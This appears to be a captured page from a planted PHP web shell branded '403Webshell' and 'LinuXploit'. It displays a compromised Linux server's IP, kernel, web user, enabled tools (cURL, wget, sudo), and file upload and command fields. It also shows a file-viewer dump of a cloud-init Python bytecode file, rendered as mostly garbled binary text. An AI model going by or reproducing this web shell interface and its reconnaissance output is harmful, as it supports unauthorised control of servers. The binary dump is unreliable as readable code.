403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3/dist-packages/cloudinit/__pycache__/temp_utils.cpython-314.pyc
+
��i�����^RIt^RIt^RIt^RIt^RIt^RIt^RIHt]P!]	4t
RtRtRRRllt
RRRlltR	t]P RR
l4tRRRlltRR
RlltR#)�N)�utilz/run/cloud-init/tmpz/var/tmp/cloud-initc�$�V^8�dQhR\/#���	needs_exe��bool)�formats"�6/usr/lib/python3/dist-packages/cloudinit/temp_utils.py�__annotate__rs��,�,�4�,�c��VeV#V'd\#\P!4^8Xd\#\PPRR4#)N�TMPDIRz/tmp)�_EXE_ROOT_TMPDIR�os�getuid�_ROOT_TMPDIR�environ�get)�odirrs&&r�get_tmp_ancestorrs?���������	�y�y�{�a����
�:�:�>�>�(�F�+�+r
c�$�V^8�dQhR\/#rr)r
s"rrrs����D�r
c�6�\W4p\PPV4'g.\P!V4\P
!VR4V'd4\P!VR4'd\PRV4V#)aReturn the proper 'dir' argument for tempfile functions.

When root, cloud-init will use /run/cloud-init/tmp to avoid
any cleaning that a distro boot might do on /tmp (such as
systemd-tmpfiles-clean).

If the caller of this function (mkdtemp or mkstemp) was provided
with a 'dir' argument, then that is respected.

@param odir: original 'dir' arg to 'mkdtemp' or other.
@param needs_exe: Boolean specifying whether or not exe permissions are
    needed for tempdir. This is needed because /run is mounted noexec.
i��noexeczDRequested temporal dir with exe permission `%s` is mounted as noexec)
rr�path�isdir�makedirs�chmodr�
has_mount_opt�LOG�warning)rr�tdirs&& r�_tempfile_dir_argr#sl���D�,�D�
�7�7�=�=����
���D��
����v������d�H�-�-��K�K�%��
�
�Kr
c�a�\4VR&\P!R/VBoRpVSnV3Rlp\	SRV4S#)�dirc��\P!V4R# \d-pTP\P8wdThRp?R#Rp?ii;i�N)r�unlink�OSError�errno�ENOENT)r�es& r�_unlink_if_exists�0ExtendedTemporaryFile.<locals>._unlink_if_exists?s<��	��I�I�d�O���	��w�w�%�,�,�&���'��	�s��A�!A�Ac�><�SPSP4R#r')r(�name)�fhs�r�
unlink_now�)ExtendedTemporaryFile.<locals>.unlink_nowMs���
�	�	�"�'�'�r
r2�)r#�tempfile�NamedTemporaryFiler(�setattr)�kwargsr-r2r1s,  @r�ExtendedTemporaryFiler98sH���%�'�F�5�M�	�	$�	$�	.�v�	.�B�
�"�B�I���B��j�)�
�Ir
c+�"�\R/VBpVx�\P!W R7R# \P!Y R7i;i5i))�
ignore_errorsNr4)�mkdtemp�shutil�rmtree)�rmtree_ignore_errorsr8r"s&, r�tempdirr@Ts7���
��V��D�@��
��
�
�d�?���
�
�d�?�s�A�,�A�A�Ac�$�V^8�dQhR\/#rr)r
s"rrr`���/�/��/r
c�H�\W4p\P!RRV/VB#�r%r4)r#r5r<�r%rr8s&&,rr<r<`�%��
�C�
+�C����.��.�v�.�.r
c�$�V^8�dQhR\/#rr)r
s"rrrerBr
c�H�\W4p\P!RRV/VB#rD)r#r5�mkstemprEs&&,rrIrIerFr
)NF)F)�
contextlibr*�loggingrr=r5�	cloudinitr�	getLogger�__name__r rrrr#r9�contextmanagerr@r<rIr4r
r�<module>rPsq�����	�
���
����!��$��(��,��:�8���@��@�/�
/�/r

Youez - 2016 - github.com/yon3zu
LinuXploit